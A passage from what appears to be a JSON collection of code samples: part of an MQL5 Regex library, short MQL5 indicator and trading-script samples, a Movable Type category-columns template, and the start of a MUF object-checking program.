in,const string replacement)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return Replace(in, replacement, -1, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the (previously defined) \"pattern\"   |\r\n   //| with the \"replacement\" pattern, starting at the first character  |\r\n   //| in the in string.                                                |\r\n   //+------------------------------------------------------------------+\r\n   string Replace(const string in,const string replacement,const int count)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return Replace(in, replacement, count, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern\" with the recent        |\r\n   //| \"replacement\" pattern, starting at the character position        |\r\n   //| \"startat.\".                                                      |\r\n   //+------------------------------------------------------------------+\r\n   string Replace(const string in,const string replacement,const int count,const int startat)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'replacement' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- A little code to grab a cached parsed replacement object\r\n      RegexReplacement *repl=m_replref.Get();\r\n      if(repl==NULL || !(repl.Pattern()==replacement))\r\n        {\r\n         repl=RegexParser::ParseReplacement(replacement,m_caps,m_capsize,m_capnames,this.m_roptions);\r\n         if(CheckPointer(m_replref.Get())==POINTER_DYNAMIC)\r\n           {\r\n            delete m_replref.Get();\r\n           }\r\n         m_replref.Set(repl);\r\n        }\r\n      //--- return result\r\n      return repl.Replace(GetPointer(this), in, count, startat);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern\" with the \"replacement\" |\r\n   //| pattern \".\".                                                     |\r\n   //+------------------------------------------------------------------+\r\n   static string Replace(const string in,const string pattern,MatchEvaluator evaluator)\r\n     {\r\n      //--- return result\r\n      return Replace(in, pattern, evaluator, None, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern \" with the recent       |\r\n   //| \"replacement\" pattern, starting at the first character \".\".      |\r\n   //+------------------------------------------------------------------+\r\n   static string Replace(const string in,const string pattern,MatchEvaluator evaluator,const RegexOptions options)\r\n     {\r\n      //--- return result\r\n      return Replace(in, pattern, evaluator, options, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern \" with the recent       |\r\n   //| \"replacement\" pattern, starting at the first character \".\".      |\r\n   //+------------------------------------------------------------------+\r\n   static string Replace(const string in,const string pattern,MatchEvaluator evaluator,const RegexOptions options,const TimeSpan &matchTimeout)\r\n     {\r\n      Regex regex(pattern,options,matchTimeout,true);\r\n      string result=regex.Replace(in,evaluator);\r\n      //--- return result\r\n      return (result);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern\" with the recent        |\r\n   //| \"replacement\" pattern, starting at the first character position  |\r\n   //| \".\".                                                             |\r\n   //+------------------------------------------------------------------+\r\n   string Replace(const string in,MatchEvaluator evaluator)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result  \r\n      return Replace(in, evaluator, -1, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern\" with the recent        |\r\n   //| \"replacement\" pattern, starting at the first character position  |\r\n   //| \".\".                                                             |\r\n   //+------------------------------------------------------------------+\r\n   string Replace(const string in,MatchEvaluator evaluator,const int count)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result \r\n      return Replace(in, evaluator, count, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the (previouly defined) \"pattern\"    |\r\n   //| with the recent \"replacement\" pattern, starting at the character |\r\n   //| position \"startat.\"                                              |\r\n   //+------------------------------------------------------------------+\r\n   string Replace(const string in,MatchEvaluator evaluator,const int count,const int startat)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result \r\n      return RegexReplacement::Replace(evaluator, GetPointer(this), in, count, startat);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Splits the \"in\" string at the position defined by \"pattern\".     |\r\n   //+------------------------------------------------------------------+\r\n   static void Split(string &result[],const string in,const string pattern)\r\n     {\r\n      Split(result,in,pattern,None,DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Splits the \"in\" string at the position defined by \"pattern\".     |\r\n   //+------------------------------------------------------------------+\r\n   static void Split(string &result[],const string in,const string pattern,RegexOptions options)\r\n     {\r\n      Split(result,in,pattern,options,DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Splits the \"in\" string at the position defined by \"pattern\".     |\r\n   //+------------------------------------------------------------------+\r\n   static void Split(string &result[],const string in,const string pattern,const RegexOptions options,const TimeSpan &matchTimeout)\r\n     {\r\n      Regex regex(pattern,options,matchTimeout,true);\r\n      regex.Split(result,in);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Splits the \"in\" string at the position defined by a previous     |\r\n   //| \"pattern\".                                                       |\r\n   //+------------------------------------------------------------------+\r\n   void Split(string &result[],const string in)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return \r\n         return;\r\n        }\r\n      Split(result,in,0,UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Splits the \"in\" string at the position defined by a previous     |\r\n   //| \"pattern\".                                                       |\r\n   //+------------------------------------------------------------------+\r\n   void Split(string &result[],const string in,const int count)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return \r\n         return;\r\n        }\r\n      RegexReplacement::Split(result,GetPointer(this),in,count,UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Splits the \"in\" string at the position defined by a previous     |\r\n   //| \"pattern\".                                                       |\r\n   //+------------------------------------------------------------------+\r\n   void Split(string &result[],const string in,const int count,const int startat)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return \r\n         return;\r\n        }\r\n      RegexReplacement::Split(result,GetPointer(this),in,count,startat);\r\n     }\r\nprotected:\r\n   //+------------------------------------------------------------------+\r\n   //| InitializeReferences.                                            |\r\n   //+------------------------------------------------------------------+\r\n   void InitializeReferences()\r\n     {\r\n      if(m_refsInitialized)\r\n        {\r\n         Print(\"Internal error! On file:'\"+__FILE__+\"'; in function:'\"+__FUNCTION__+\"'.\");\r\n         //--- return\r\n         return;\r\n        }\r\n      m_refsInitialized=true;\r\n      m_runnerref  = new RunnerReference();\r\n      m_replref    = new ReplacementReference();\r\n     }\r\npublic:\r\n   //+------------------------------------------------------------------+\r\n   //| Internal worker called by all the  APIs.                         |\r\n   //+------------------------------------------------------------------+\r\n   Match *Run(const bool quick,const int prevlen,const string in,const int beginning,const int length,const int startat)\r\n     {\r\n      Match *match;\r\n      RegexRunner *runner=NULL;\r\n      if(startat<0 || startat>StringLen(in))\r\n        {\r\n         Print(\"Argument 'start' out of range.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      if(length<0 || length>StringLen(in))\r\n        {\r\n         Print(\"Argument 'length' out of range.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      bool fromCache=false;\r\n      //--- There may be a cached runner; grab ownership of it if we can.\r\n      if(m_runnerref!=NULL)\r\n        {\r\n         fromCache=true;\r\n         runner=m_runnerref.Get();\r\n        }\r\n      //--- Create a RegexRunner instance if we need to\r\n      if(runner==NULL)\r\n        {\r\n         fromCache=false;\r\n         //--- Use the compiled RegexRunner factory if the code was compiled to MSIL\r\n         runner=new RegexInterpreter(m_code);\r\n        }\r\n      //--- Do the scan starting at the requested position            \r\n      match=runner.Scan(GetPointer(this),in,beginning,beginning+length,startat,prevlen,quick,m_internalMatchTimeout);\r\n      if(m_runnerref!=NULL && !fromCache)\r\n        {\r\n         if(CheckPointer(m_runnerref.Get())==POINTER_DYNAMIC)\r\n           {\r\n            delete m_runnerref.Get();\r\n           }\r\n         //--- Release or fill the cache slot\r\n         m_runnerref.Set(runner);\r\n        }\r\n      else if(!fromCache)\r\n        {\r\n         delete runner;\r\n        }\r\n#ifdef _DEBUG\r\n      if(Debug() && match!=NULL)\r\n        {\r\n         match.Dump();\r\n        }\r\n#endif\r\n      //--- return result\r\n      return (match);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Find code cache based on options+pattern.                        |\r\n   //+------------------------------------------------------------------+\r\n   static CachedCodeEntry *LookupCachedAndUpdate(const string key)\r\n     {\r\n      for(LinkedListNode<CachedCodeEntry*>*current=m_livecode.First(); current!=NULL; current=current.Next())\r\n        {\r\n         if(current.Value().Key()==key)\r\n           {\r\n            //--- If we find an entry in the cache, move it to the head at the same time. \r\n            m_livecode.Remove(current);\r\n            m_livecode.AddFirst(current);\r\n            //--- retrun result\r\n            return (current.Value());\r\n           }\r\n        }\r\n      //--- return result\r\n      return (NULL);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Add current code to the cache.                                   |\r\n   //+------------------------------------------------------------------+\r\n   CachedCodeEntry *CacheCode(const string key)\r\n     {\r\n      CachedCodeEntry *newcached=NULL;\r\n      //--- first look for it in the cache and move it to the head\r\n      for(LinkedListNode<CachedCodeEntry*>*current=m_livecode.First(); current!=NULL; current=current.Next())\r\n        {\r\n         if(current.Value().Key()==key)\r\n           {\r\n            m_livecode.Remove(current);\r\n            m_livecode.AddFirst(current);\r\n            //--- return result\r\n            return (current.Value());\r\n           }\r\n        }\r\n      //--- it wasn't in the cache, so we'll add a new one.  Shortcut out for the case where cacheSize is zero.\r\n      if(m_cacheSize!=0)\r\n        {\r\n         newcached=new CachedCodeEntry(key,m_capnames,m_capslist,m_code,m_caps,m_capsize,m_runnerref,m_replref);\r\n         m_livecode.AddFirst(newcached);\r\n         if(m_livecode.Count()>m_cacheSize)\r\n           {\r\n            m_livecode.RemoveLast();\r\n           }\r\n        }\r\n      //--- return result\r\n      return (newcached);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Delete all objects in cache.                                     |\r\n   //+------------------------------------------------------------------+\r\n   static void ClearCache()\r\n     {\r\n      IEnumerator<CachedCodeEntry*>*en=m_livecode.GetEnumerator();\r\n      while(en.MoveNext())\r\n        {\r\n         if(CheckPointer(en.Current())==POINTER_DYNAMIC)\r\n           {\r\n            if(CheckPointer(en.Current().RunnerRef().Get().RunRegex())==POINTER_DYNAMIC)\r\n              {\r\n               delete en.Current().RunnerRef().Get().RunRegex();\r\n              }\r\n            delete en.Current();\r\n           }\r\n        }\r\n      delete en;\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| True if the O option was set.                                    |\r\n   //+------------------------------------------------------------------+\r\n   bool UseOptionC()\r\n     {\r\n      return(m_roptions) != 0;\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| True if the L option was set.                                    |\r\n   //+------------------------------------------------------------------+\r\n   bool UseOptionR()\r\n     {\r\n      return(m_roptions & RightToLeft) != 0;\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| UseOptionInvariant.                                              |\r\n   //+------------------------------------------------------------------+\r\n   bool UseOptionInvariant()\r\n     {\r\n      return(m_roptions) != 0;\r\n     }\r\n#ifdef _DEBUG\r\n   //+------------------------------------------------------------------+\r\n   //| True if the regex has debugging enabled.                         |\r\n   //+------------------------------------------------------------------+\r\n   bool Debug()\r\n     {\r\n      //--- return result\r\n      return((m_roptions &Debug) != 0);\r\n     }\r\n#endif\r\n  };\r\nstatic const TimeSpan   Regex::MaximumMatchTimeout=TimeSpan::FromMilliseconds(Int32::MaxValue-1);\r\nstatic const TimeSpan   Regex::InfiniteMatchTimeout(0,0,0,0,-1);\r\nstatic const string Regex::DefaultMatchTimeout_ConfigKeyName=\"REGEX_DEFAULT_MATCH_TIMEOUT\";\r\nstatic const TimeSpan   Regex::FallbackDefaultMatchTimeout=Regex::InfiniteMatchTimeout;\r\nstatic const TimeSpan   Regex::DefaultMatchTimeout=Regex::InitDefaultMatchTimeout();\r\nstatic LinkedList<CachedCodeEntry*>Regex::m_livecode();\r\nstatic int Regex::m_cacheSize=15;\r\nstatic const int Regex::MaxOptionShift=10;\r\n//+------------------------------------------------------------------+\r\n//| Purpose: Used to cache byte codes or compiled factories.         |\r\n//+------------------------------------------------------------------+\r\nclass CachedCodeEntry : public IComparable\r\n  {\r\nprivate:\r\n   string            m_key;\r\n   RegexCode        *m_code;\r\n   Dictionary<int,int>*m_caps;\r\n   Dictionary<string,int>*m_capnames;\r\n   string            m_capslist[];\r\n   int               m_capsize;\r\n   RunnerReference *m_runnerref;\r\n   ReplacementReference *m_replref;\r\npublic:\r\n   //--- Constructors:\r\n   //+------------------------------------------------------------------+\r\n   //| Constructor with parameters.                                     |\r\n   //+------------------------------------------------------------------+\r\n                     CachedCodeEntry(const string key,Dictionary<string,int>*capnames,const string &capslist[],\r\n                                                       RegexCode *code,Dictionary<int,int>*caps,const int capsize,\r\n                                                       RunnerReference *runner,ReplacementReference *repl)\r\n     {\r\n      m_key=key;\r\n      m_capnames=capnames;\r\n      ArrayCopy(m_capslist,capslist);\r\n      m_code= code;\r\n      m_caps= caps;\r\n      m_capsize=capsize;\r\n      m_runnerref=runner;\r\n      m_replref=repl;\r\n     }\r\n   //--- Destructors:\r\n   //+------------------------------------------------------------------+\r\n   //| destructor without parameters.                                   |\r\n   //+------------------------------------------------------------------+\r\n                    ~CachedCodeEntry()\r\n     {\r\n      if(CheckPointer(m_code)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_code;\r\n        }\r\n      if(CheckPointer(m_caps)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_caps;\r\n        }\r\n      if(CheckPointer(m_capnames)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_capnames;\r\n        }\r\n      if(CheckPointer(m_replref)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_replref;\r\n        }\r\n      if(CheckPointer(m_runnerref)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_runnerref;\r\n        }\r\n     }\r\n   //--- Methods:\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the runnerref.                                              |\r\n   //+------------------------------------------------------------------+\r\n   RunnerReference *RunnerRef()\r\n     {\r\n      //--- reurn runnerref\r\n      return (m_runnerref);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the replref.                                                |\r\n   //+------------------------------------------------------------------+\r\n   ReplacementReference *ReplRef()\r\n     {\r\n      //--- return replref\r\n      return (m_replref);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the key.                                                    |\r\n   //+------------------------------------------------------------------+\r\n   string Key()\r\n     {\r\n      //--- return key\r\n      return (m_key);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the caps.                                                   |\r\n   //+------------------------------------------------------------------+\r\n   Dictionary<int,int>*Caps()\r\n     {\r\n      //--- return caps\r\n      return (m_caps);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the capnames.                                               |\r\n   //+------------------------------------------------------------------+\r\n   Dictionary<string,int>*CapNames()\r\n     {\r\n      //--- return capnames\r\n      return (m_capnames);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the capsize.                                                |\r\n   //+------------------------------------------------------------------+\r\n   int CapSize()\r\n     {\r\n      //--- retrun capsize\r\n      return (m_capsize);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the code.                                                   |\r\n   //+------------------------------------------------------------------+\r\n   RegexCode *Code()\r\n     {\r\n      //--- return code\r\n      return (m_code);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the caplist.                                                |\r\n   //+------------------------------------------------------------------+\r\n   void GetCapList(string &array[])\r\n     {\r\n      ArrayCopy(array,m_capslist);\r\n     }\r\n  };\r\n//+------------------------------------------------------------------+\r\n//| Used to cache a weak reference in a threadsafe way.              |\r\n//+------------------------------------------------------------------+\r\nclass ReplacementReference\r\n  {\r\nprivate:\r\n   RegexReplacement *m_obj;\r\npublic:\r\n   //--- Destructors:\r\n   //+------------------------------------------------------------------+\r\n   //| Destructor without parameters.                                   |\r\n   //+------------------------------------------------------------------+   \r\n                    ~ReplacementReference()\r\n     {\r\n      if(CheckPointer(m_obj)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_obj;\r\n        }\r\n     }\r\n   //--- Methods:\r\n   //+------------------------------------------------------------------+\r\n   //| Get RegexReplacement.                                            |\r\n   //+------------------------------------------------------------------+\r\n   RegexReplacement *Get()\r\n     {\r\n      //--- return pointer\r\n      return (m_obj);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Set RegexReplacement.                                            |\r\n   //+------------------------------------------------------------------+\r\n   void      Set(RegexReplacement *obj)\r\n     {\r\n      m_obj=obj;\r\n     }\r\n  };\r\n//+------------------------------------------------------------------+\r\n//| Used to cache one exclusive runner reference.                    |\r\n//+------------------------------------------------------------------+\r\nclass RunnerReference\r\n  {\r\nprivate:\r\n   RegexRunner      *m_obj;\r\npublic:\r\n   //--- Destructors:\r\n   //+------------------------------------------------------------------+\r\n   //| Destructor without parameters.                                   |\r\n   //+------------------------------------------------------------------+   \r\n                    ~RunnerReference()\r\n     {\r\n      if(CheckPointer(m_obj)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_obj;\r\n        }\r\n     }\r\n   //--- Methods:\r\n   //+------------------------------------------------------------------+\r\n   //| Get RegexRunner.                                                 |\r\n   //+------------------------------------------------------------------+\r\n   RegexRunner *Get()\r\n     {\r\n      //--- return pointer\r\n      return (m_obj);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Set RegexRunner.                                                 |\r\n   //+------------------------------------------------------------------+\r\n   void Set(RegexRunner *obj)\r\n     {\r\n      m_obj=obj;\r\n     }\r\n  };\r\n//+------------------------------------------------------------------+\r\n"
  },
  {
    "path": "samples/MQL5/indicator-sample.mq5",
    "content": "//+------------------------------------------------------------------+\r\n//|                                             indicator-sample.mq5 |\r\n//|                                   Copyright 2016, Andrey Osorgin |\r\n//+------------------------------------------------------------------+\r\n//|                     The MIT License (MIT)                        |\r\n//|                                                                  |\r\n//| Permission is hereby granted, free of charge, to any person      |\r\n//| obtaining a copy of this software and associated documentation   |\r\n//| files (the \"Software\"), to deal in the Software without          |\r\n//| restriction, including without limitation the rights to use,     |\r\n//| copy, modify, merge, publish, distribute, sublicense, and/or sell|\r\n//| copies of the Software, and to permit persons to whom the        |\r\n//| Software is furnished to do so, subject to the following         |\r\n//| conditions:                                                      |\r\n//|                                                                  |\r\n//| The above copyright notice and this permission notice shall be   |\r\n//| included in all copies or substantial portions of the Software.  |\r\n//|                                                                  |\r\n//| THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,  |\r\n//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |\r\n//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |\r\n//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |\r\n//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |\r\n//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |\r\n//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |\r\n//| OTHER DEALINGS IN THE SOFTWARE.                                  |\r\n//|                                                                  |\r\n//| A copy of the MIT License (MIT) is available at                  |\r\n//| https://opensource.org/licenses/MIT                              |\r\n//+------------------------------------------------------------------+\r\n#property version   \"1.00\"\r\n\r\n#property indicator_chart_window\r\n#property indicator_plots   0\r\n//+------------------------------------------------------------------+\r\n//| Custom indicator initialization function                         |\r\n//+------------------------------------------------------------------+\r\nint OnInit()\r\n  {\r\n//---\r\n   return(INIT_SUCCEEDED);\r\n  }\r\n//+------------------------------------------------------------------+\r\n//| Custom indicator iteration function                              |\r\n//+------------------------------------------------------------------+\r\nint OnCalculate(const int rates_total,\r\n                const int prev_calculated,\r\n                const datetime &time[],\r\n                const double &open[],\r\n                const double &high[],\r\n                const double &low[],\r\n                const double &close[],\r\n                const long &tick_volume[],\r\n                const long &volume[],\r\n                const int &spread[])\r\n  {\r\n//---\r\n   int bars=Bars(Symbol(),0);\r\n   Print(\"Bars = \",bars,\", rates_total = \",rates_total,\",  prev_calculated = \",prev_calculated);\r\n   Print(\"time[0] = \",time[0],\" time[rates_total-1] = \",time[rates_total-1]);\r\n//--- return value of prev_calculated for next call\r\n   return(rates_total);\r\n  }\r\n//+------------------------------------------------------------------+\r\n"
  },
  {
    "path": "samples/MQL5/script-sample.mq5",
    "content": "//+------------------------------------------------------------------+\r\n//|                                                script-sample.mq5 |\r\n//|                                   Copyright 2016, Andrey Osorgin |\r\n//+------------------------------------------------------------------+\r\n//|                     The MIT License (MIT)                        |\r\n//|                                                                  |\r\n//| Permission is hereby granted, free of charge, to any person      |\r\n//| obtaining a copy of this software and associated documentation   |\r\n//| files (the \"Software\"), to deal in the Software without          |\r\n//| restriction, including without limitation the rights to use,     |\r\n//| copy, modify, merge, publish, distribute, sublicense, and/or sell|\r\n//| copies of the Software, and to permit persons to whom the        |\r\n//| Software is furnished to do so, subject to the following         |\r\n//| conditions:                                                      |\r\n//|                                                                  |\r\n//| The above copyright notice and this permission notice shall be   |\r\n//| included in all copies or substantial portions of the Software.  |\r\n//|                                                                  |\r\n//| THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,  |\r\n//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |\r\n//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |\r\n//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |\r\n//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |\r\n//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |\r\n//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |\r\n//| OTHER DEALINGS IN THE SOFTWARE.                                  |\r\n//|                                                                  |\r\n//| A copy of the MIT License (MIT) is available at                  |\r\n//| https://opensource.org/licenses/MIT                              |\r\n//+------------------------------------------------------------------+\r\n#property version   \"1.00\"\r\n#property script_show_inputs\r\n\r\n#include <Trade\\Trade.mqh>\r\n\r\ninput int StopLoss=100; // Stop Loss\r\ninput int TakeProfit=100; // Take Profit\r\n//+------------------------------------------------------------------+\r\n//| Script program start function                                    |\r\n//+------------------------------------------------------------------+\r\nvoid OnStart()\r\n  {\r\n   CTrade trade;\r\n//---\r\n   long stoplevel=SymbolInfoInteger(Symbol(),SYMBOL_TRADE_STOPS_LEVEL);\r\n   Print(\"Minimum stop level is: \",stoplevel);\r\n   double ask=SymbolInfoDouble(Symbol(),SYMBOL_ASK);\r\n   double bid=SymbolInfoDouble(Symbol(),SYMBOL_BID);\r\n   double sl = NormalizeDouble(bid - StopLoss*Point(),Digits());\r\n   double tp = NormalizeDouble(ask + TakeProfit*Point(),Digits());\r\n//---\r\n   bool result=trade.Buy(0.01,Symbol(),ask,sl,tp,\"test\");\r\n//---\r\n   Print(\"Success? \",result);\r\n  }\r\n//+------------------------------------------------------------------+\r\n"
  },
  {
    "path": "samples/MTML/categories_to_columns.mtml",
    "content": "<$mt:Var name=\"num_cols\" value=\"6\"$>\n<$mt:Var name=\"index\" value=\"0\"$>\n<mt:Categories>\n  <$mt:Var name=\"index\" op=\"++\" setvar=\"index\"$>\n  <mt:SetVarBlock name=\"categories{$index}\">\n    <a href=\"<$mt:CategoryArchiveLink$>\"><$mt:CategoryLabel remove_html=\"1\"$></a>\n  </mt:SetVarBlock>\n</mt:Categories>\n<$mt:Var name=\"categories\" function=\"count\" setvar=\"cat_count\"$>\n<$mt:Var name=\"cat_count\" op=\"%\" value=\"$num_cols\" setvar=\"modulus\"$>\n<mt:If name=\"modulus\" gt=\"0\">\n  <$mt:Var name=\"cat_count\" op=\"-\" value=\"$modulus\" setvar=\"cat_count_minus_mod\"$>\n  <$mt:Var name=\"cat_count_minus_mod\" op=\"/\" value=\"$num_cols\" setvar=\"cats_per_col\"$>\n  <$mt:Var name=\"cats_per_col\" op=\"+\" value=\"1\" setvar=\"cats_per_col\"$>\n<mt:Else>\n  <$mt:Var name=\"cat_count\" op=\"/\" value=\"$num_cols\" setvar=\"cats_per_col\"$>\n</mt:If>\n<mt:SetVarTemplate name=\"for_inner\">\n  <$mt:Var name=\"index\" op=\"++\" setvar=\"index\"$>\n  <mt:Unless name=\"index\" gt=\"$cat_count\">\n    <$mt:Var name=\"categories{$index}\"$>\n  </mt:Unless>\n</mt:SetVarTemplate>\n\n<$mt:Var name=\"index\" value=\"0\"$>\n<$mt:Var name=\"col_num\" value=\"1\"$>\n<mt:For from=\"1\" to=\"$num_cols\">\n  <div class=\"col<$mt:Var name=\"col_num\"$>\">\n    <mt:For from=\"1\" to=\"$cats_per_col\">\n      <$mt:Var name=\"for_inner\"$>\n    </mt:For>\n  </div>\n  <$mt:Var name=\"col_num\" op=\"++\" setvar=\"col_num\"$>\n</mt:For>\n\n"
  },
  {
    "path": "samples/MUF/39.m",
    "content": "$include $lib/strings\n$include $lib/match\nlvar check-obj-addr\n   \n: check-next-loop (d -- )\n   dup not if pop exit then\n   dup exit? over thing? or\n   me @ 3 pick .controls and if\n      dup check-obj-addr @ execute\n   then\n   next check-next-loop\n;\n   \n: check-contents (d -- )\n   contents check-next-loop\n;\n   \n: check-exits (d -- )\n   exits check-next-loop\n;\n   \n: exec-err (d mtypestr warnstr -- )\n   \"On \" 4 rotate unparseobj strcat\n   \", in it's \" strcat rot strcat\n   \", \" strcat swap strcat .tell\n;\n   \n: can-linkto? (player object -- i)\n   dup \"link_ok\" flag? if pop pop 1 exit then\n   .controls\n;\n   \n: check-exec (d mtype execstr -- )\n   dup \"@\" 1 strncmp if pop pop pop exit then\n   1 strcut swap pop\n   \" \" .split pop\n   dup \"$\" 1 strncmp not if\n      dup match ok? not if\n         \" is not a known registered program.\" strcat\n         exec-err exit\n      then\n      dup match program? not if\n         \" is not a program.\" strcat\n         exec-err exit\n      then\n      3 pick owner over match can-linkto? not if\n         \" is not Link_OK.\" strcat\n         exec-err exit\n      then\n   else\n      dup number? not if\n         \" is not a program dbref.\" strcat\n         \"@\" swap strcat exec-err exit\n      then\n      dup atoi dbref ok? not if\n         \" is not a valid program reference.\" strcat\n         \"@\" swap strcat exec-err exit\n      then\n      dup atoi dbref program? not if\n         \" is not a valid program reference.\" strcat\n         \"@\" swap strcat exec-err exit\n      then\n      3 pick owner over atoi dbref can-linkto? not if\n         \" is not Link_OK.\" strcat\n         \"@\" swap strcat exec-err exit\n      then\n   then\n   pop pop pop\n;\n   \n   \n: missing-err ( d s -- )\n   swap unparseobj\n   \" is missing an \"\n   strcat swap strcat\n   \" message.\" strcat .tell\n;\n   \n: colon-err ( d s -- )\n   swap unparseobj\n   \" has an unnecesary ':' at the start of its \"\n   strcat swap strcat\n   \" message.\" strcat .tell\n;\n   \n: check-desc (d -- )\n   dup desc not if\n      \"@description\" missing-err\n   else\n      \"@description\" over\n      desc check-exec\n   then\n;\n   \n: check-succ (d -- )\n   dup succ not if\n      \"@success\" missing-err\n   else\n      \"@success\" over\n      succ check-exec\n   then\n;\n   \n: check-fail (d -- )\n   dup fail not if\n      \"@fail\" missing-err\n   else\n      \"@fail\" over\n      fail check-exec\n   then\n;\n   \n: check-drop (d -- )\n   dup drop not if\n      \"@drop\" missing-err\n   else\n      \"@drop\" over\n      drop check-exec\n   then\n;\n   \n: check-osucc (d -- )\n   dup osucc not if\n      \"@osuccess\" missing-err\n   else\n      dup osucc \":\" 1 strncmp not if\n         \"@osuccess\" colon-err\n      else pop\n      then\n   then\n;\n   \n: check-ofail (d -- )\n   dup ofail not if\n      \"@ofail\" missing-err\n   else\n      dup ofail \":\" 1 strncmp not if\n         \"@ofail\" colon-err\n      else pop\n      then\n   then\n;\n   \n: check-odrop (d -- )\n   dup odrop not if\n      \"@odrop\" missing-err\n   else\n      dup odrop \":\" 1 strncmp not if\n         \"@odrop\" colon-err\n      else pop\n      then\n   then\n;\n   \n   \n$define islocked? (d -- i) getlockstr \"*UNLOCKED*\" stringcmp $enddef\n   \n: islocked_always? (d -- i)\n   getlockstr dup \"#0\" stringcmp not if pop 1 exit then\n   dup \"#\" STRsplit swap pop atoi\n   \"#\" swap intostr strcat\n   (lockstr \"#dbref\")\n   dup \"&!\" over strcat strcat\n   3 pick stringcmp not if pop pop 1 exit then\n   \"&\" over strcat strcat \"!\" swap strcat\n   stringcmp not if 1 exit then\n   0\n;\n   \n: check-link ( d -- )\n   dup getlink not if\n      dup 